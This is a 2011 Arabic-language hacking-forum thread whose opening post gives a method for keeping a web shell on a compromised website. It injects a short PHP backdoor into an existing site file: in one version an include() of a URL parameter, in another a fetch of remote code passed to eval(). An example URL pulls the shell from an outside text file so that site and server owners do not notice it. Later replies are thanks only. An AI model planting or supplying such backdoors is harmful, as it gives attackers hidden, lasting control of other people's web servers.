oo - منتدى أمن الإسلام | لا اله الا الله محمد رسول الله | IS-SEC.ORG | Dz-SeC Team |

Ev!LScR!pT_Dz · 03/03/2011, 23:22

السلام عليكم ورحمة الله وبركاته ..
كيف حال الشباب اليوم ...انشاء الله بخير..
المهم دائما بعد الغياب نأتي بالحصري ..
المهم ندخل موضوعنا واللي هو واضح من العنوان:
أحيانا يتم رفع الشل ولكن تجيه ثاني يوم تلفاه محذوف سواء من صاحب الموقع أو صاحب السيرفر

ما الحل.؟؟
نريد نرفع شل ونضمن بقاءه أطول فترة ممكنة بدون لفت نظر صاحب الموقع أو السيرفر..

الحل هو:
حقن كود بأحد ملفات الموقع [ ملاحظة : أنا قلت حقن مو تحذف كود الملف يعني مجرد اضافة للكود ]
هذا الكود معروف وهو يسبب ثغرة فايل انكلود للسيرفر ...
بعد كذا تقوم بسحب الشل بصيغة txt وهذا شي واضح للكل ...
للاصدار الرابع php 4

كود PHP:


			
<?php 

$RxH = $_GET***91;'bullet'***93;;

 include ($RxH);


?>

=================================================
الاصدار الخامس:

كود PHP:


			
 <?php
 if($_GET***91;bullet***93;)

{ $file=implode("\n",file($_GET***91;bullet***93;)); 

$bullet=str_replace("<?php", "",$file); 

$bullet=str_replace("<?", "",$bullet); 

$bullet=str_replace("?>", "",$bullet); 

eval($bullet); }

?>

ملاحظة تأكد أولا من اصدار php واستعمل الكود المناسب ...
بالنسبة للاصدار الخامس نفرض وضعنا الكود في ملف وليكن اسمه Ev!LsCr!pT_Dz.php
طريقة السحب تكون كالتالي:

كود PHP:


			
www.site.com/sad.php?bullet=Ev!LsCr!pT_Dz.txt?

واتمنة الطريقة تكون مفيدة للجميع.
و الاكواد في المرفقات.
ادعولي بالتوفيق في الدراسة.

**illuminat** · 03/03/2011, 23:39

مشكور أخي []

يأجربها تحياتي لك

yasMouh · 04/03/2011, 02:48

اخي ارجو ان ترفق الاكواد في مفكرة لانه تم تخريبها من قبل نظام المراقبة الخاص بالمنتدى

jokER-spY · 04/03/2011, 12:15

بارك الله فيك حبيبي
****ا

hacker almooot · 04/03/2011, 12:49

يعيطك العافية

raouf160 · 04/03/2011, 17:46

**** اخي عالطريقة بارك الله فيك

**MdMn HaCk3r** · 06/03/2011, 14:02

بارك الله فيك اخي
مجهود رائع تشكر عليه ان شاء الله يستفاد الجميع منه
___________________
تحيتي لك
واااصل يابطل

حالياً الأعضاء النشيطين الذين يشاهدون هذا الموضوع : 1 (0 عضو و 1 ضيف)

(أظهر الكل) الأعضاء الذين قاموا بمشاهدة هذا الموضوع : 22
bahi061 , br0xo , c41virus , Diabloo-16 , Ev!LScR!pT_Dz , eXc3lLenCe , hacker almooot , hacker dz , hardTARGET1234 , Hidden Pain , illuminat , jokER-spY , mb1 , MdMn HaCk3r , Microsoft-Dz , moja4ed_fz , Mr.3Jr4M , NEVER HaCKEr , raouf160 , Th3 WiTch3r-Dz , The MaSk , yasMouh